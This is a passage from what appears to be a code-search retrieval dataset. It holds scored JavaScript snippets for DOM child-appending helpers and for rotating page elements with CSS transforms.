"appendInitialChild(parentInstance, child) {\n parentInstance.appendChild(child);\n /* if (parentInstance.appendChild) {\n * parentInstance.appendChild(child);\n * } else {\n * parentInstance.document = child;\n * }*/\n }", "title": "" }, { "docid": "3b7e76c27ba90904ccfbe61063c13e23", "score": "0.457759", "text": "addParent(parent) {\n this.parents.push(parent);\n this.setDirty(true);\n }", "title": "" }, { "docid": "cb649cf0b460561eb67ca0e1fb813750", "score": "0.45774093", "text": "set parent(value) {}", "title": "" }, { "docid": "7e154933e3afc6e4945c491c3806e9c6", "score": "0.45748383", "text": "function setChild(parent, node) {\n\n var c, newNode, currentDocument = parent._ownerDocument || parent;\n\n switch (node.type)\n {\n case 'tag':\n case 'script':\n case 'style':\n try {\n newNode = currentDocument.createElement(node.name);\n if (node.location) {\n newNode.sourceLocation = node.location;\n newNode.sourceLocation.file = parent.sourceLocation.file;\n }\n } catch (err) {\n currentDocument.trigger('error', 'invalid markup', {\n exception: err,\n node : node\n });\n\n return null;\n }\n break;\n\n case 'text':\n newNode = currentDocument.createTextNode(HTMLDecode(node.data));\n break;\n\n case 'comment':\n newNode = currentDocument.createComment(node.data);\n break;\n\n default:\n return null;\n break;\n }\n\n if (!newNode)\n return null;\n\n if (node.attribs) {\n for (c in node.attribs) {\n // catchin errors here helps with improperly escaped attributes\n // but properly fixing parent should (can only?) be done in the htmlparser itself\n try {\n newNode.setAttribute(c.toLowerCase(), HTMLDecode(node.attribs[c]));\n } catch(e2) { /* noop */ }\n }\n }\n\n if (node.children) {\n for (c = 0; c < node.children.length; c++) {\n setChild(newNode, node.children[c]);\n }\n }\n\n return parent.appendChild(newNode);\n }", "title": "" }, { "docid": "b3ba9c38810f082620dc06c81a00bce6", "score": "0.4574718", "text": "function ins (parent /* child1, child2, ...*/) {\n for (var i = 1, n = arguments.length; i < n; i++) {\n parent.appendChild(arguments[i])\n }\n\n return parent\n }", "title": "" }, { "docid": "b3ba9c38810f082620dc06c81a00bce6", "score": "0.4574718", "text": "function ins (parent /* child1, child2, ...*/) {\n for (var i = 1, n = arguments.length; i < n; i++) {\n parent.appendChild(arguments[i])\n }\n\n return parent\n }", "title": "" }, { "docid": "b3ba9c38810f082620dc06c81a00bce6", "score": "0.4574718", "text": "function ins (parent /* child1, child2, ...*/) {\n for (var i = 1, n = arguments.length; i < n; i++) {\n parent.appendChild(arguments[i])\n }\n\n return parent\n }", "title": "" }, { "docid": "b3ba9c38810f082620dc06c81a00bce6", "score": "0.4574718", "text": "function ins (parent /* child1, child2, ...*/) {\n for (var i = 1, n = arguments.length; i < n; i++) {\n parent.appendChild(arguments[i])\n }\n\n return parent\n }", "title": "" }, { "docid": "cdddbf51f51d0bcc7f16a8ea26bb32bb", "score": "0.45722997", "text": "setParent(parent) {\n this._parent = parent;\n }", "title": "" }, { "docid": "7a2597442fbf68cc3afb1bc5caf75d87", "score": "0.45717356", "text": "function setParent(parent) {\n this.parent = parent;\n}", "title": "" }, { "docid": "13131d558079b0611794a6614054922c", "score": "0.45714515", "text": "function ins(parent /* child1, child2, ...*/) {\r\n for (var i = 1, n = arguments.length; i < n; i++) {\r\n parent.appendChild(arguments[i])\r\n }\r\n\r\n return parent\r\n }", "title": "" }, { "docid": "0419f2565360d0329b3bbdab69ce49a2", "score": "0.45655346", "text": "function ins(parent /* child1, child2, ...*/) {\r\n\t for (var i=1, n=arguments.length; i<n; i++)\r\n\t parent.appendChild(arguments[i])\r\n\r\n\t return parent\r\n\t }", "title": "" }, { "docid": "5408e4a4de4e5f4b5bfa97220cfdbe11", "score": "0.45505273", "text": "function Parent() {}", "title": "" }, { "docid": "0b4e3bbfb121d148aff5bd089a6c906a", "score": "0.4549486", "text": "_showChild(child) {\n if (this._children.indexOf(child) !== -1) {\n return;\n }\n this._children.push(child);\n\n if (!child.isInstantiated()) {\n child.initialize();\n }\n this.initialize();\n }", "title": "" }, { "docid": "3d22d708a6227b36dc008b90f87b52c0", "score": "0.4546434", "text": "function visitor(parent) {\n var index = -1;\n var children = parent && parent.children;\n\n if (!children) {\n throw new Error('Missing children in `parent` for `visitor`')\n }\n\n while (++index in children) {\n callback(children[index], index, parent);\n }\n }", "title": "" }, { "docid": "0e328b69f2e5fddb96b283d5eb426a10", "score": "0.4542133", "text": "function ins(parent /* child1, child2, ...*/) {\n for (var i=1, n=arguments.length; i<n; i++) {\n parent.appendChild(arguments[i]);\n }\n return parent;\n }", "title": "" }, { "docid": "54bd47e330491f801a5b42852335da53", "score": "0.45345765", "text": "function addFilePanelToBuffer(fileList, panelClassName, parentClassName) {\n if(fileList === null || fileList === undefined) {\n return;\n }\n\n var childrenList = [], i;\n buffer.append(\"<ul class='file-panel \");\n buffer.append(panelClassName);\n buffer.append(\"'>\");\n if(parentClassName) {\n buffer.append(\"<li class='parent menu-link' link='\");\n buffer.append(parentClassName);\n buffer.append(\"'>..</li>\");\n }\n for(i in fileList) {\n if(fileList[i].hasOwnProperty(\"children\") && fileList[i].children.length > 0) {\n buffer.append(\"<li class='child menu-link' link='\");\n var obj = {\n id: fileList[i].path.replace(/\\//g, \"_\"),\n children: fileList[i].children\n };\n childrenList.push(obj);\n buffer.append(obj.id);\n buffer.append(\"'>\");\n } else {\n buffer.append(\"<li class='open-file' path='\");\n buffer.append(fileList[i].path);\n buffer.append(\"'>\");\n }\n buffer.append(fileList[i].name);\n buffer.append(\"</li>\");\n }\n\n buffer.append(\"</ul>\");\n\n // Add all child panels\n for(i in childrenList) {\n addFilePanelToBuffer(childrenList[i].children, childrenList[i].id, panelClassName);\n }\n }", "title": "" }, { "docid": "9d22e5da45c4b114193ea3f9adec4dc9", "score": "0.4525871", "text": "static addChild(parent, child) {\n\t\tif (!parent.children)\n\t\t\tparent.children = [];\n\n\t\tif (child.parent != parent) {\n\t\t\tparent.children.push(child);\n\n\t\t\tif (child.parent && child.parent.children)\n\t\t\t\tchild.parent.children = _.without(child.parent.children, child);\n\t\t}\n\t\tchild.parent = parent;\n\t}", "title": "" }, { "docid": "4e06d2eb56de76cc614f3b37be0ee668", "score": "0.45237115", "text": "function captureOutput(pi) {\n if(!pi.child) return () => \"Doing Nothing\"\n\n let op = \"\"\n let er = \"\"\n\n pi.child.stdout.on('data', (data) => {\n op += data\n op = show_lines_1(op)\n })\n pi.child.stderr.on('data', (data) => {\n er += data\n er = show_lines_1(er, true)\n })\n\n return flush\n\n function flush() {\n if(op && op.trim()) out(pi, op.trim())\n if(er && er.trim()) out(pi, er.trim(), true)\n op = \"\"\n er = \"\"\n }\n\n function show_lines_1(f, iserr) {\n if(!f) return f\n\n let lines = f.split(/[\\n\\r]+/)\n for(let i = 0;i < lines.length-1;i++) {\n out(pi, lines[i], iserr)\n }\n return lines[lines.length-1]\n }\n\n /* outcome/\n * Given a log file we output to the log file. If no log file is\n * given we output to stdout/stderr.\n */\n function out(pi, line, iserr) {\n if(pi.stripANSI) line = stripAnsi(line)\n if(pi.log) {\n if(pi.name) line = `${pi.name}: ${line}\\n`\n else line = line + '\\n'\n fs.appendFile(pi.log, line, (err) => {\n if(err) {\n console.error(err)\n }\n })\n } else {\n if(pi.name) line = `${pi.name}: ${line}`\n if(iserr) console.error(line)\n else console.log(line)\n }\n }\n}", "title": "" }, { "docid": "3797ad234dd4036b6d60178d380dc287", "score": "0.4517628", "text": "function add_info_element(parent, info, content) {\n\n // if undefined nothing has changed so it does not\n // need to be displayed\n if (content != undefined) {\n let elem = document.createElement('p');\n elem.textContent = info + \": \" + content;\n parent.appendChild(elem);\n }\n}", "title": "" }, { "docid": "84709f6afda28b05181f9792c2f98292", "score": "0.45149347", "text": "function ins(parent /* child1, child2, ...*/) {\n\t for (var i=1, n=arguments.length; i<n; i++) {\n\t parent.appendChild(arguments[i]);\n\t }\n\t return parent;\n\t}", "title": "" }, { "docid": "0c261dec0270f4c6881c2c72324ddfe3", "score": "0.45077738", "text": "set parent(parent) {\n super.parent = parent;\n\n const me = this;\n\n me.gantt = parent;\n\n parent.project.on({\n load : 'updateStartDateField',\n refresh : 'updateStartDateField',\n thisObj : me\n });\n\n me.styleNode = document.createElement('style');\n document.head.appendChild(me.styleNode);\n }", "title": "" }, { "docid": "0c46b936fcff10a03f81846ff7d0737b", "score": "0.45006254", "text": "function captureOutput(child) {\r\n // Use a mutable data structure so we can append as we get new data and have\r\n // the calling context see the new data\r\n var output = {'stdout': '', 'stderr': ''};\r\n\r\n child.stdout.on('data', function(data) { output[\"stdout\"] += data.toString(); });\r\n child.stderr.on('data', function(data) { output[\"stderr\"] += data.toString(); });\r\n\r\n return output;\r\n}", "title": "" }, { "docid": "8abb9696ea072452448e4b3fba2efdf4", "score": "0.4494007", "text": "constructor(parent) {\n this.parent = parent;\n this.addEventListener();\n }", "title": "" } ]
a050fc5d0573215c56c57acc09d38e9d
Function for rotating an element
[ { "docid": "8c46377e5fde03b2329406e096858326", "score": "0.7484163", "text": "function rotate( element, angle ) {\n element.style.transform = `rotate(${angle}deg)`;\n return element;\n}", "title": "" } ]
[ { "docid": "a7c5751b7dea5ac8bca20cf9fa6a6304", "score": "0.78501445", "text": "function rotateElement(element) {\r\n\t\tif (element.style.transform === 'rotate(90deg)') { \r\n\t\t\telement.style.transform = 'rotate(180deg)' }\r\n\t\telse if (element.style.transform === 'rotate(180deg)') { \r\n\t\t\telement.style.transform = 'rotate(270deg)' }\r\n\t\telse if (element.style.transform === 'rotate(270deg)') { \r\n\t\t\telement.style.transform = 'rotate(0deg)' }\t\t\r\n\t\telse { element.style.transform='rotate(90deg)' }\r\n\t}", "title": "" }, { "docid": "1cd9536782dc8a0b22d8d3dc062d8501", "score": "0.75959843", "text": "function rotarElemento(objeto, sentidoRotacion) {\r\n if(sentidoRotacion){\r\n objeto.style.transform = \"rotate(\" + (getCurrentRotation(objeto)+1) + \"deg)\";\r\n }else{\r\n objeto.style.transform = \"rotate(\" + (getCurrentRotation(objeto)-1) + \"deg)\";\r\n }\r\n\r\n}", "title": "" }, { "docid": "b273277fb5ce0d726f652ba78d3ecb87", "score": "0.74765164", "text": "function customRotate(ourElement) { //ourelement is a local variable only being used in the function here below\n\trSoFar = parseInt( $(ourElement).attr(\"data-rotate\") ); //grabs element title 1 and reads the arttribute data-rotate and turns it into an integer\n\n \n\trSoFar = rSoFar+90; //adds 90 to that variavle\n\n\tif (rSoFar==360) { rSoFar = 0} //if the rsofar reaches 360, set it to zero\n\n\t\tvar $rotateCss = \"rotate(\"+rSoFar+\"deg)\"\n\n\t$(ourElement) //grabs ourelement \n\t\t.attr(\"data-rotate\",rSoFar) //changes the attribute i HTML\n\t\t.css({\n\t\t\t\"transform\":$rotateCss //rotates the element by rsofar\n\t\t})\n\n\n}", "title": "" }, { "docid": "7f4201352ca4195eb773905080e18b35", "score": "0.74221706", "text": "function rotateElement(id, angle) {\n document.getElementById(id).style.transform = \"rotate(\" + angle + \"deg)\";\n}", "title": "" }, { "docid": "64827e922163c30ed3262476dc8c6ef1", "score": "0.7407846", "text": "function rotate(element, event) {\n if (event.target.id == 'rotate-left-button') {\n rotation = rotation - 15\n } else {\n rotation = rotation + 15\n }\n element.style.transform = 'rotate(' + rotation + 'deg)'\n}", "title": "" }, { "docid": "d4758fa95b42063115a6ff5c8d5b3cad", "score": "0.73731506", "text": "rotate() {\n this._rotation = (this._rotation + 90) % 360\n }", "title": "" }, { "docid": "c311b12d611727fa456b1dc62af57acd", "score": "0.7299152", "text": "updateRotation() {\n this.element.css(\"transform\", \"rotate(\"+this.rotation+\"rad)\") ;\n }", "title": "" }, { "docid": "878976e5329cd4d6cced6c1a7ce79a89", "score": "0.72716266", "text": "Rotate(float, float, float) {\n\n }", "title": "" }, { "docid": "2ab3650bc5ebd6c7598304d8129b11a8", "score": "0.7267038", "text": "function customRotate(ourElement) { //ourelement is a local variable only being used in the function here below\n\t\trSoFar = parseInt( $(ourElement).attr(\"data-rotate\") ); //grabs element title 1 and reads the arttribute data-rotate and turns it into an integer\n\n\t\trSoFar = rSoFar+90; //adds 90 to that variavle\n\n\t\tif (rSoFar==360) { rSoFar = 0} //if the rsofar reaches 360, set it to zero\n\n\t\t\tvar $rotateCss = \"rotate(\"+rSoFar+\"deg)\"\n\n\t\t$(ourElement) //grabs ourelement \n\t\t\t.attr(\"data-rotate\",rSoFar) //changes the attribute i HTML\n\t\t\t.css({\n\t\t\t\t\"transform\":$rotateCss //rotates the element by rsofar\n\t\t\t})\n\t\t}", "title": "" }, { "docid": "c6881253a08a47409d8bef562ee99352", "score": "0.7208058", "text": "rotate() {\n this._rotation = (this._rotation + 90) % 360\n \n\n this.rotateAroundCenter(90)\n }", "title": "" }, { "docid": "a4538ba8fa203ae0b435d24cc4c17555", "score": "0.69992125", "text": "rotate( amt ) {\n this.dir.rotate( amt )\n }", "title": "" }, { "docid": "32bfc292545b2e74397e106a672c57c8", "score": "0.69219184", "text": "function getRotate(el) {\n var match = ROTATE_REGEX.exec(el.attr(\"transform\"));\n if (match != null) {\n var rotation = match[1];\n return +rotation;\n }\n else {\n return 0;\n }\n}", "title": "" }, { "docid": "743df617a96e8edf78cf4b15d85f9aea", "score": "0.69204605", "text": "function rotateImage() {\r\n var img = document.querySelector('#arm');\r\n img.style.transform = 'rotate(18deg)';\r\n}", "title": "" }, { "docid": "f15ec240b0b46d5c1e5c793548f9d738", "score": "0.6896626", "text": "function elementRotate (whatElement, byHowMuch) {\n\t// Multiple vendor prefixed for better browser compatibility\n\t\t\twhatElement.style.webkitTransform = \"rotate(\" + byHowMuch + \"deg)\";\n\t\t\twhatElement.style.msTransform = \"rotate(\" + byHowMuch + \"deg)\";\n\t\t\twhatElement.style.MozTransform = \"rotate(\" + byHowMuch + \"deg)\";\n\t\t\twhatElement.style.transform = \"rotate(\" + byHowMuch + \"deg)\";\n}", "title": "" }, { "docid": "0e3afb2621cc56656e9fc3523685bb65", "score": "0.68051124", "text": "rotate() {\n this.rotation = (this.rotation + 1) % (LAYOUTS[this.shapetype].length);\n\n this.setlocation(this.leftest() - 1, this.lowest());\n }", "title": "" }, { "docid": "f7025fe15db11c113d8938de38c09d78", "score": "0.6766719", "text": "function randRotate(selectedElement) {\n //Gets the transform of selected Element.\n let angleMatrix = window.getComputedStyle(document.querySelector(selectedElement)).getPropertyValue(\"transform\");\n //Splits the transform into individual values.\n var values = angleMatrix.split('(')[1],\n values = values.split(')')[0],\n values = values.split(',');\n //assigns the split values to variables\n var a = values[0];\n var b = values[1];\n var c = values[2];\n var d = values[3];\n //Calculates the current angle of the element.\n var currentAngle = Math.round(Math.atan2(b, a) * (180 / Math.PI));\n //Calculates the new angle with random addition/subtraction\n let newAngle = currentAngle + Math.floor(Math.random() < 0.5 ? (Math.random() * -30) : (Math.random() * 30));\n //Applies the rotation to the selected element \n document.querySelector(selectedElement).style.transform = \"rotate( \"+newAngle+\"deg)\";\n}", "title": "" }, { "docid": "ae74bf927b5fb1c80dbc1fddaeb8c402", "score": "0.67087907", "text": "function rotateHand(element,timeParam, degree) {\n\t\tlet totalDegree = 270 + timeParam * degree;\n\n\t\tlet rotate = element.setAttribute('style', `transform : rotate(${totalDegree}deg)`);\n\n\t\treturn rotate;\n\t}", "title": "" }, { "docid": "9e4a5ed0d01a5fda2759f41c6bed507d", "score": "0.66813046", "text": "function ws_rotate(i,h,a){var d=jQuery;var g=d(this);var e=d(\".ws_list\",a);var b={position:\"absolute\",left:0,top:0};var f=d(\"<div>\").addClass(\"ws_effect ws_rotate\").css(b).css({height:\"100%\",width:\"100%\",overflow:\"hidden\"}).appendTo(a);var c;this.go=function(j,k){var m=d(h[0]);m={width:m.width(),height:m.height(),marginTop:parseFloat(m.css(\"marginTop\")),marginLeft:parseFloat(m.css(\"marginLeft\")),maxHeight:\"none\",maxWidth:\"none\",};if(c){c.stop(true,true)}c=d(h.get(j)).clone().css(b).css(m).appendTo(f);if(!i.noCross){var l=d(h.get(k)).clone().css(b).css(m).appendTo(f);wowAnimate(l,{opacity:1,rotate:0,scale:1},{opacity:0,rotate:i.rotateOut||180,scale:i.scaleOut||10},i.duration,\"easeInOutExpo\",function(){l.remove()})}wowAnimate(c,{opacity:1,rotate:-(i.rotateIn||180),scale:i.scaleIn||10},{opacity:1,rotate:0,scale:1},i.duration,\"easeInOutExpo\",function(){c.remove();c=0;g.trigger(\"effectEnd\")})}}", "title": "" }, { "docid": "fbcc263af62939faa577f743aab95ed6", "score": "0.6673262", "text": "function rotate() {\n $('#next').click();\n}", "title": "" }, { "docid": "5f00bd89045252d4c41cf838b012fdfe", "score": "0.6668036", "text": "function rotate() {\r\n $('#next').click();\r\n}", "title": "" }, { "docid": "2ac0e66bf8161612531537451cc88a99", "score": "0.66507804", "text": "updateRotation() {\n\n let opposite = Mouse.position.y - this.position.y;\n let adjacent = Mouse.position.x - this.position.x;\n\n this.rotationAngle = Math.atan2(opposite, adjacent);\n }", "title": "" }, { "docid": "3f62da9beb9a90769f58e40595c4b23f", "score": "0.6628345", "text": "function rotate(el, degrees) {\n\tvar degrees = topAlign(degrees || 0);\n\tel.css(\n\t\t'transform', 'rotate('+degrees+'deg)',\n\t\t'-webkit-transform', 'rotate('+degrees+'deg)',\n\t\t'-moz-transform', 'rotate('+degrees+'deg)',\n\t\t'-ms-transform', 'rotate('+degrees+'deg)',\n\t\t'-o-transform', 'rotate('+degrees+'deg)'\n\t)\n}", "title": "" }, { "docid": "1a89a6c4c3f9953bcb36d8e4e1ba4c09", "score": "0.6627863", "text": "function rotLeft(arr, d) {\n \n}", "title": "" }, { "docid": "6eb60ac291dee55e5efb71acd674236e", "score": "0.6626599", "text": "rotate(dir) {\n this._rotation = (this._rotation + dir + 4) % 4;\n }", "title": "" }, { "docid": "17fc8a3a56ecee56e0479349605f4ca1", "score": "0.6614136", "text": "rotate(delta) {\n const cos = Math.cos(delta)\n const sin = Math.sin(delta)\n\n return this.set(cos * this.x - sin * this.y, sin * this.x + cos * this.y)\n }", "title": "" }, { "docid": "57d94e1116ac6d235cb163d97e5bedd3", "score": "0.6589146", "text": "function setrotation(element,rotationratio ){\r\n element.style.setProperty('--rotation', rotationratio*360)\r\n\r\n}", "title": "" }, { "docid": "a82886ced6c2de89d37e8fc815443937", "score": "0.65737766", "text": "function RotateImage(imgRef, degreesToRotate) {\n \n $(imgRef).rotate(degreesToRotate);\n \n}", "title": "" }, { "docid": "e4c1383a8eae5916c909b1f2bceb00e3", "score": "0.6553496", "text": "rotate(amount) {\n this.orientation += amount;\n }", "title": "" }, { "docid": "1f7dcfb318a854e7e6f81a53a5f45ccb", "score": "0.6547334", "text": "function rotate() {\n\t$('#next').click();\n}", "title": "" }, { "docid": "d4e419dc6067a668338b700fd331ecda", "score": "0.6536221", "text": "function minute_hand() {\n minute += 0.1;\n var ref = document.getElementsByClassName(\"minute_hand\")[0];\n ref.style.transform = \"rotate(\" + minute + \"deg)\";\n ref.style.transformOrigin = \"top left\";\n\n}", "title": "" }, { "docid": "4134694f187c75390b8364b5e57b9d25", "score": "0.6511948", "text": "function rotation_change(newrot) {\n document.getElementById(\"rotation\").value = newrot;\n document.getElementById(\"rotation-slider\").value = newrot;\n\n var grid = document.getElementById(\"grid\");\n grid.style.transform = grid.style.webkitTransform = \"rotate(\"+newrot+\"deg)\";\n\n var electrodes = document.getElementsByClassName(\"electrode-text\");\n for (var i = 0; i < electrodes.length; i++) {\n electrodes[i].style.transform = electrodes[i].style.webkitTransform = \n \"translateX(-50%) translateY(-50%) rotate(\"+(-newrot)+\"deg)\";\n }\n\n grid_params.rotation = newrot;\n}", "title": "" }, { "docid": "c809a36a976bbe67e3732484b8f3e22a", "score": "0.6478164", "text": "rotate( obj ){\n\t\tobj.command = 'compound'\n\t\tvar x = obj.x\n\t\tvar y = obj.y\n\t\tvar a = obj.r\n\t\tvar nobj = this.inner_rotate(obj,x,y,a)\n\t\tobj.x = x\n\t\tobj.y = y\n\t\tobj.r = a\n\t\tobj.command = 'rotate'\n\t\treturn nobj\n\t}", "title": "" }, { "docid": "2e78d12332f1c0daa573873c68216e86", "score": "0.6429075", "text": "function ws_rotate(i,h,a)\n{\n var d=jQuery;\n var g=d(this);\n var e=d(\".ws_list\",a);\n var b= {position:\"absolute\",left:0,top:0};\n var f=d(\"<div>\").addClass(\"ws_effect ws_rotate\").css(b).css({height:\"100%\",width:\"100%\",overflow:\"hidden\"}).appendTo(a);\n var c;\n this.go=function(j,k) {\n var m=d(h[0]);\n m= {width:m.width(),height:m.height(),marginTop:parseFloat(m.css(\"marginTop\")),marginLeft:parseFloat(m.css(\"marginLeft\")),maxHeight:\"none\",maxWidth:\"none\",};\n if(c) {\n c.stop(true,true)\n }\n c=d(h.get(j)).clone().css(b).css(m).appendTo(f);\n if(!i.noCross) {\n var l=d(h.get(k)).clone().css(b).css(m).appendTo(f);\n wowAnimate(l, {opacity:1,rotate:0,scale:1}, {opacity:0,rotate:i.rotateOut||180,scale:i.scaleOut||10},i.duration,\"easeInOutExpo\",function() {\n l.remove()\n })\n }\n wowAnimate(c, {opacity:1,rotate:-(i.rotateIn||180),scale:i.scaleIn||10}, {opacity:1,rotate:0,scale:1},i.duration,\"easeInOutExpo\",function() {\n c.remove();\n c=0;\n g.trigger(\"effectEnd\")\n })\n }\n}", "title": "" }, { "docid": "9b496975f234f21815863878a34fcfe2", "score": "0.6419728", "text": "rotate(angle) {\n const newAngle = this.angle + angle;\n const mag = this.magnitude;\n return this.setXY(mag * Math.cos(newAngle), mag * Math.sin(newAngle));\n }", "title": "" }, { "docid": "8c9c16570eb7970556916051ce343bfd", "score": "0.6417436", "text": "function rotate90(img,reset) {\n var imgobj = document.getElementById(img);\n var angle_start = 0;\n var angle_stop = 90;\n if (imgobj) {\n if (reset) {\n angle_start = 90;\n angle_stop = 0;\n \n var angle = angle_start;\n var timer = setInterval(function () {\n if (angle <= 0){\n clearInterval(timer);\n }\n rotate_obj(imgobj,angle);\n angle -= 10;\n }, interval);\n }\n else {\n var angle = angle_start;\n var timer = setInterval(function () {\n if (angle >= 90){\n clearInterval(timer);\n }\n rotate_obj(imgobj,angle);\n angle += 10;\n }, interval);\n }\n }\n}", "title": "" }, { "docid": "194f60345a63fded0e873250fa5aa4d3", "score": "0.6415282", "text": "function rotateImage(degree, id) {\n $('#'+id).animate({ transform: degree }, {\n step: function(now,fx) {\n $(this).css({\n '-webkit-transform':'rotate('+now+'deg)', \n '-moz-transform':'rotate('+now+'deg)',\n 'transform':'rotate('+now+'deg)'\n });\n }\n });\n }", "title": "" }, { "docid": "151ecc7a2d972e4f3026f73fb598b7c4", "score": "0.6415181", "text": "setRotation(value) {\n this.rotation = value;\n }", "title": "" }, { "docid": "9eb84f408dd20a1325f9802cddc4fc2f", "score": "0.64085484", "text": "rotate(angle) {\n let x = this.x * Math.cos(angle) - this.y * Math.sin(angle);\n let y = this.x * Math.sin(angle) + this.y * Math.cos(angle);\n this.x = x;\n this.y = y;\n }", "title": "" }, { "docid": "543bfc9a8d4805c0b654ca61db5c1fe2", "score": "0.6405393", "text": "rotateRow()\n {\n this.rotateArray(this.matrix);\n this.rotateArray(this.vector);\n }", "title": "" }, { "docid": "6980fd90b67fcc390c6e8e3095ea0441", "score": "0.63946956", "text": "setRotationAmount(rotation){\r\n\t\tthis.rotation=rotation;\r\n\t}", "title": "" }, { "docid": "0c5161ed201ffc152426ae597ca25945", "score": "0.6391767", "text": "function rotation(){\n \n ClickMe.classList.toggle('rotating');\n \n}", "title": "" }, { "docid": "d81569ccf65f55c127f7ec0b4f9da939", "score": "0.6389679", "text": "function rotate(){\n\tif(horisontalPlacement==1){\n\t\thorisontalPlacement=0;\n\t}\n\telse{\n\t\thorisontalPlacement=1;\n\t}\n}", "title": "" }, { "docid": "57c61ddf0c2f100a9a0dd4e40c2fb828", "score": "0.63886166", "text": "setRotation(degrees) {\n this.rotation = degrees ;\n }", "title": "" }, { "docid": "6ab0d39ad76958a1190926c7f5a09cc8", "score": "0.63878703", "text": "function rotate(){\t\n\t\tspeed = 0.2;\n\t\t\n\t\tif(isMobile()){\n\t\t\trotation = target;\n\t\t\tdiv = document.getElementById(\"wheel\");\n\t\t\tdiv.style.webkitTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.mozTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.msTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.oTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.transform = 'rotate('+rotation+'deg)'; \n\t\t\tclearInterval(intervalFunc);\n\t\t\tconsole.log(rotation);\n\t\t}else{\n\t\t\tclearInterval(intervalFunc);\n\t\t\tintervalFunc = setInterval(spin,15);\n\t\t}\n\t}", "title": "" }, { "docid": "16574a0f0ff7dadeba06588febe11b5b", "score": "0.63767296", "text": "rotateClockwise90() {\n this.hide_selection_box();\n this.angle += 90;\n if (this.angle === 360) this.angle = 0;\n }", "title": "" }, { "docid": "ad573ca3e9462c45c478684fd6a23fb4", "score": "0.6372581", "text": "function addRotation(element, angle, cx=0, cy=0) {\n const svg = div_tree.children[0];\n const tr = svg.createSVGTransform();\n if (angle && (-360 < angle < 360))\n tr.setRotate(angle, cx, cy);\n element.transform.baseVal.appendItem(tr);\n}", "title": "" }, { "docid": "a05b2a097773b4b69606736d37024262", "score": "0.63701415", "text": "function canviarangle(){\n\tangle=Number(document.getElementById(\"Angle\").value);\n\tangle=angle/180;\n\tfor (i=0; i<m.length; i++){\n\t\trotation=m[i].position.rotation_y;\n\t\trotation=rotation*Math.PI;\n\t\tm[i].position.rotation_x=String(Math.sin(rotation)*angle);\n \t\tm[i].position.rotation_z=String(Math.cos(rotation)*angle);\n \t}\n escriure(m);\n}", "title": "" }, { "docid": "c900f99310a02e1711e3e98673e3c886", "score": "0.63620424", "text": "function rotate() {\n if (! main_state.sprite_numbers.some(is_tweening_fn) ) {\n swap(main_state.current_order,0,3);\n swap(main_state.current_order,1,2);\n swap(main_state.sprite_numbers,0,3);\n swap(main_state.sprite_numbers,1,2);\n tween_sprites();\n }\n}", "title": "" }, { "docid": "19ad45ca760db830e83ac6a1d2fc316c", "score": "0.6355767", "text": "function rotation(){\r\n // dice.style.transform = 'rotate('+degree+'deg)';\r\n // degree = degree + 45;\r\n dice.className = 'dice-rotation';\r\n}", "title": "" }, { "docid": "635239188df580d6bf04dfe817d033c7", "score": "0.63432944", "text": "function cevir(radyan) {\n rotate(radyan);\n}", "title": "" }, { "docid": "1ead89e390df560953736973550c11d9", "score": "0.63209975", "text": "function hour_hand() {\n hour += 0.5;\n var ref = document.getElementsByClassName(\"hour_hand\")[0];\n ref.style.transform = \"rotate(\" + hour + \"deg)\";\n ref.style.transitionOrigin = \"top left\";\n\n}", "title": "" }, { "docid": "82f821dba7eb974a3cc5f96e7d62d955", "score": "0.63183415", "text": "updateRotation() {\n var x; var\n y;\n [x, y] = rotate(this.leftx, this.lefty, this.parent.direction);\n this.x = x;\n this.y = y;\n }", "title": "" }, { "docid": "6c2339dc629aa1df4811523322b3f7cf", "score": "0.6313691", "text": "rotate(x) {\n\t\tlet y = this.p(x);\n\t\tif (y == 0) return;\n\t\tsuper.rotate(x);\n\t\tthis.min2(x, this.min2(y));\n\t\tthis.update2(y);\n\t}", "title": "" }, { "docid": "e9f8a23eadb3181eb277cd9a421faed9", "score": "0.6307362", "text": "function ws_rotate(i, h, a) {\n var d = jQuery;\n var g = d(this);\n var e = d(\".ws_list\", a);\n var b = {position: \"absolute\", left: 0, top: 0};\n var f = d(\"<div>\").addClass(\"ws_effect ws_rotate\").css(b).css({\n height: \"100%\",\n width: \"100%\",\n overflow: \"hidden\"\n }).appendTo(a);\n var c;\n this.go = function (j, k) {\n var m = d(h[0]);\n m = {\n width: m.width(),\n height: m.height(),\n marginTop: parseFloat(m.css(\"marginTop\")),\n marginLeft: parseFloat(m.css(\"marginLeft\")),\n maxHeight: \"none\",\n maxWidth: \"none\",\n };\n if (c) {\n c.stop(true, true)\n }\n c = d(h.get(j)).clone().css(b).css(m).appendTo(f);\n if (!i.noCross) {\n var l = d(h.get(k)).clone().css(b).css(m).appendTo(f);\n wowAnimate(l, {opacity: 1, rotate: 0, scale: 1}, {\n opacity: 0,\n rotate: i.rotateOut || 180,\n scale: i.scaleOut || 10\n }, i.duration, \"easeInOutExpo\", function () {\n l.remove()\n })\n }\n wowAnimate(c, {opacity: 1, rotate: -(i.rotateIn || 180), scale: i.scaleIn || 10}, {\n opacity: 1,\n rotate: 0,\n scale: 1\n }, i.duration, \"easeInOutExpo\", function () {\n c.remove();\n c = 0;\n g.trigger(\"effectEnd\")\n })\n }\n}", "title": "" }, { "docid": "d6145e704fd54fb98895dbd750f7e9cd", "score": "0.62907565", "text": "function setrotat(element, rotat)\n{\n element.style.setProperty('--stickrotate', rotat * 360)\n}", "title": "" }, { "docid": "f8a54765d7a6085061c3f5b09271e836", "score": "0.6281678", "text": "timer() {\n this.sethandRotation()\n }", "title": "" }, { "docid": "4e829b15a6d67b44f0f46a14553464f2", "score": "0.62803906", "text": "function transformCharacter(element) {\n // get the id of the element\n let id = element.getAttribute(\"id\");\n\n // load the sessionStorage object\n let obj = JSON.parse(sessionStorage.getItem(id));\n\n // get the character details element\n let content = document.getElementById(\"characterDetails\");\n\n // set the rotation variable\n let rotation = 0;\n\n // set the timer interval\n let interval = setInterval(frame, 3);\n\n // rotation transform the element\n function frame() {\n // if the elements are rotated 90 degrees\n if (rotation == 90) {\n clearInterval(interval);\n\n // update the contents\n displayCharacter(obj);\n\n // set the timer interval\n let interval2 = setInterval(frame2, 3);\n\n // rotation transform the element back to starting position\n function frame2() {\n // if the elements are rotated 0 degrees\n if (rotation == 0) {\n clearInterval(interval2);\n } else {\n // increment the rotation variable\n rotation--;\n\n // update the element\n content.style.transform = \"rotateX(\" + 